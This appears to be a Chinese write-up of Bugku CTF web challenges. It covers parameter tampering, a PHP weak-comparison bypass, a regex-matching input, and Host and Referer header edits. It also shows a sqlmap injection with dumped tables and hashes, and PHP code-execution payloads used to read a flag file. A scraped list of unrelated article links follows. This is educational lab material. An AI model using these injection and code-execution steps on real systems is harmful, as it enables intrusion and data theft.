bugku web所有writeup_超详细讲解_持续更新
首先说一下我的主用工具,在windows下,主要是用这些,用到其他特定的工具会在题里说。
0.浏览器:火狐,配合Max hackbar插件 (这个是免费的)
1.抓包改包:burpsuite。https://portswigger.net/burp
2.目录扫描:dirmap。https://github.com/H4ckForJob/dirmap
3.sql注入:sqlmap。https://github.com/sqlmapproject/sqlmap
4.连接木马:菜刀。https://github.com/raddyfiy/caidao-official-version
这些工具的入门操作就不讲了,可以先学习一波。
---------------------------------------------------------------------------
1.web2:这题查看源代码即可,在url前加上 view-source: 。或者按F12也行。
view-source:http://123.206.87.240:8002/web2/
2.计算器
这个输入框只能输入一位数字,把它改大即可。任何的前端限制都是不安全的。
按F12, 用选区器选取文本框,在maxlength那个把1改大,然后就能正常输入了。

3。web基础$_GET
这个确实是基础,在get请求时,传入参数形式是在url后面加 ?参数=值。多个参数用 ?参数1=值1&参数2=值1……
源代码含义:
$what=$_GET['what'];//读取参数what,把值存到变量what里
echo $what; //输出
if($what=='flag')//如果值是flag
echo 'flag{****}';//打印flag
payload:
http://123.206.87.240:8002/get/?what=flag
4. web基础$_POST
POST请求没办法写在url里,需要用hackbar或者burp修改,格式就是在最下面Content里写 参数1=值&参数2=值
如果用hackbar就没这么麻烦了,直接在框里填就行。
源代码:
$what=$_POST['what']; //接受post过来的参数what,存到what里
echo $what; //打印
if($what=='flag') //如果值是flag
echo 'flag{****}';// 打印flag
payload:

5.矛盾
$num=$_GET['num']; //获取参数num
if(!is_numeric($num))// 如果num不是数字
{
echo $num;
if($num==1) //如果num是数字1
echo 'flag{**********}'; //打印flag
}
这个要求不是数字且为1,有点矛盾是不是?其实有绕过的办法。下面num==1的判定是两个等号,这是弱类型比较,如果等号两边类型不同,会转换成相同类型再比较。与之对应的是强类型比较,用的是三个等号===,如果类型不同就直接不相等了。在弱类型比较下,当一个字符串与数字比较时,会把字符串转换成数字,具体是保留字母前的数字。例如123ab7c会转成123,ab7c会转成0.(字母前没数字就是0)
所以payload:
http://123.206.87.240:8002/get/index1.php?num=1a
6.web3
用burp抓包,可以看到响应的代码,里面有这么一串字符

复制出来粘贴到自带的decoder里,在decode as 选HTML,就能解码出flag

7.域名解析
域名解析是指把一个域名指向一个ip,就像通讯录把姓名指向一个电话一样,可以免去记数字的麻烦。
做这题有两种解法,
···1)、用ip访问,抓包,把host字段直接改成域名。

···2)、在本机host文件里添加解析规则
Windows是改C:\Windows\System32\drivers\etc里的host,添加规则:

8.你必须让他停下
正常在浏览器里是没办法停的,但是可以在burp里达到单步执行的效果
抓包后发到repeater,每点一次Go就会刷新,等到右边相应<img src="10.jpg"时就可以显示flag了,多刷新几次就好了
9.
----(稍后再补)
字符?正则?
源代码里关键是这句
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
trim()是把传进来的参数id去掉首位的空字符,比如空格制表符这种。
然后需要满足前面的正则表达式。正则表达式是从左往右拆分了读,首尾的斜杠不用管,因为是php的语法规则。最后的i表示不区分大小写。
规则是:
key+(任意字母 X n次)+key+(任意字母出现4~7次)+key:/+任意字母+/+任意字母X n次+(key+a~z的一个字母)+一个符号
具体的规则建议学一波,因为使用频率实在太高了,这是个绕不开的问题。
于是构造payload:
http://123.206.87.240:8002/web10/?id=keymkeymmmmkey:/m/keym.
你从哪里来
这个考察了header的referer字段,referer向服务器表示来源地址,比如从谷歌搜到的网站,点进去就会发送
Referer: https://www.google.com
所以抓完包在header加上这句就行
这是一个神奇的登陆框
这题其实有两个flag。
第一个:
直接丢到sqlmap里测试,发现用户名处可以注入。命令:
py -2 sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=1^&admin_passwd=23333^&submit=GO+GO+GO"
然后直接把库脱下来,命令是在上面的后面再加上
--dump
因为密码很像一段hash,sqlmap会问你要不要保存,要不要爆破等。都选N即可,因为这个就是密码了。先是whoami表,再是flag1表:
[00:29:03] [INFO] resumed: "1","AdMiNhEhE","9db3bae8316e95698ed679aa109c1925"
[00:29:03] [INFO] resumed: "2","BlCkJaCk","5FF69C838EDD75995197C516C677A416"
[00:29:03] [INFO] recognized possible password hashes in column 'w_passwd'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] N
Database: bugkusql1
Table: whoami
[2 entries]
+------+-----------+----------------------------------+
| w_id | w_name | w_passwd |
+------+-----------+----------------------------------+
| 1 | AdMiNhEhE | 9db3bae8316e95698ed679aa109c1925 |
| 2 | BlCkJaCk | 5FF69C838EDD75995197C516C677A416 |
+------+-----------+----------------------------------+
[00:30:06] [INFO] table 'bugkusql1.whoami' dumped to CSV file 'C:\Users\omega\.sqlmap\output\123.206.87.240\dump\bugkusql1\whoami.csv'
[00:30:06] [INFO] fetching columns for table 'flag1' in database 'bugkusql1'
[00:30:06] [INFO] used SQL query returns 1 entries
[00:30:07] [INFO] fetching entries for table 'flag1' in database 'bugkusql1'
[00:30:07] [INFO] used SQL query returns 1 entries
[00:30:07] [INFO] used SQL query returns 1 entries
[00:30:07] [INFO] resumed: ed6b28e684817d9efcaf802979e57aea
[00:30:07] [INFO] recognized possible password hashes in column 'flag1'
do you want to crack them via a dictionary-based attack? [Y/n/q] N
Database: bugkusql1
Table: flag1
[1 entry]
+----------------------------------+
| flag1 |
+----------------------------------+
| ed6b28e684817d9efcaf802979e57aea |
+----------------------------------+
[00:32:19] [INFO] table 'bugkusql1.flag1' dumped to CSV file 'C:\
把这个flag加上flag{}就能通过了。
第二个flag:
用上面的用户名密码登录,可以进入一个命令执行页

在Magic框里可以输入命令,但前端不允许编辑,想编辑就修改这里。当然也可以抓包,在burp里输入。

查看目录下的文件:
Code=print_r(scandir('./'));

然后读取flag:
Code=show_source("FI@g3.php");&submit=DO+DO+DO

同样,把这个flag添加flag{}前缀后也能提交,这flag和之前那个不一样,所以选哪个都行。只不过bugku只让交一个。
===待续==
bugku web所有writeup_超详细讲解_持续更新的更多相关文章
- web开发工具flask中文英文书籍-持续更新
web开发工具flask中文英文书籍-持续更新 python测试开发_AI命理关注 0.9222018.11.10 07:48:43字数 625阅读 885 python测试开发项目实战-目录 pyt ...
- Keras代码超详细讲解LSTM实现细节
1.首先我们了解一下keras中的Embedding层:from keras.layers.embeddings import Embedding: Embedding参数如下: 输入尺寸:(batc ...
- freemaker超详细 讲解 配置
一.FreeMarker简介 二.第一个FreeMark示例 2.1.新建一个Maven项目 2.2.添加依赖 2.3.添加存放模板的文件夹 2.4.添加模板 2.5.解析模板 2.6.运行结果 三. ...
- 教你用webpack搭一个vue脚手架[超详细讲解和注释!]
1.适用人群 1.对webpack知识有一定了解但不熟悉的同学. 2.女同学!!!(233333....) 2.目的 在自己对webpack有进一步了解的同时,也希望能帮到一些刚接触webpack的同 ...
- 教你用webpack搭一个vue脚手架[超详细讲解和注释!](转载)
1.适用人群 1.对webpack知识有一定了解但不熟悉的同学. 2.女同学!!!(233333....) 2.目的 在自己对webpack有进一步了解的同时,也希望能帮到一些刚接触webpack的同 ...
- Python与Javascript相互调用超详细讲解(2022年1月最新)(三)基本原理Part 3 - 通过C/C++联通
目录 TL; DR python调javascript javascript调python 原理 基于Node.js的javascript调用python 从Node调用python函数 V8 嵌入P ...
- Python与Javascript相互调用超详细讲解(四)使用PyNode进行Python与Node.js相互调用项(cai)目(keng)实(jing)践(yan)
目录 前提 安装 使用 const pynode = require('@fridgerator/pynode')的时候动态链接错误 ImportError: math.cpython-39-x86_ ...
- nginx配置文件nginx.conf超详细讲解
#nginx进程,一般设置为和cpu核数一样worker_processes 4; #错误日志存放目录 error_log /data1/logs/er ...
- IntelliJ IDEA 12 创建Web项目 教程 超详细版
IntelliJ IDEA 12 新版本发布 第一时间去官网看了下 黑色的主题 很给力 大体使用了下 对于一开始就是用eclipse的童鞋们 估计很难从eclipse中走出来 当然 我也很艰难的走 ...
随机推荐
- WPF如何设置启动窗口
在做系统时,我们想在启动时显示自己想显示的界面,和Winform不同的是它有两种方法 1.在App.xaml中 <Application x:Class="WpfApp1.App&qu ...
- 安装node.js->npm->vue
我们研究vue时,首先操作的就是vue的引用,大部分人为了方便直接在页面上引用vue.js,但是一些大型网站还是比较喜欢用vue的npm命令来安装vue并使用,之前研究vue时,研究过使用npm安装的 ...
- Flask之WTfroms组件
一.WTfroms简介 WTForms插件是类似于django的form组件的插件,可以帮我们写标签,校验数据等. 二.安装与使用 安装: pip install WTForms 使用: from w ...
- amazeui datepicker日历控件 设置默认当日
amazeui datepicker日历控件 设置默认当日 背景: 最近在做一个系统的时候,前台需要选择日期,传给后台进行处理,每次都需要通过手动点击组件,选择日期,这样子很不好,所以我想通过程序自动 ...
- c的链表实现
c的链表实现 复习了 单向链表.双向链表 ,代码中注释不多,但基本从函数名字就可以知道函数的作用. 双向链表中的前后节点中的思路是按照linux内核中思路写的. 环境 GCC 7.4.0 单向链表 # ...
- Luogu P1970 花匠
Luogu P1970 花匠 本质上就是找最长的波浪序列. 因为考虑到第一个必选,所以可以让$lst=h[1]$. 此外,注意到$n=1$是要特判,其他情况下显然$ans\geq 2$,所以把$dir ...
- RBF神经网络——直接看公式,本质上就是非线性变换后的线性变化(RBF神经网络的思想是将低维空间非线性不可分问题转换成高维空间线性可分问题)
Deeplearning Algorithms tutorial 谷歌的人工智能位于全球前列,在图像识别.语音识别.无人驾驶等技术上都已经落地.而百度实质意义上扛起了国内的人工智能的大旗,覆盖无人驾驶 ...
- Red Hat Enterprise Linux 8正式发布
现在CENTOS 8还没有发布. 了解其主要特点. https://developers.redhat.com/blog/2019/05/07/red-hat-enterprise-linux-8-n ...
- 《CoderXiaoban》第九次团队作业:Beta冲刺与验收准备1
项目 内容 这个作业属于哪个课程 任课教师博客主页链接 这个作业的要求在哪里 实验十三 团队作业9:BETA冲刺与团队项目验收 团队名称 Coderxiaoban团队 作业学习目标 (1)掌握软件黑盒 ...
- 《CoderXiaoban》第八次团队作业:Alpha冲刺5
项目 内容 这个作业属于哪个课程 任课教师博客主页链接 这个作业的要求在哪里 实验十二 团队作业8:软件测试与ALPHA冲刺 团队名称 Coderxiaoban团队 作业学习目标 (1)掌握软件测试基 ...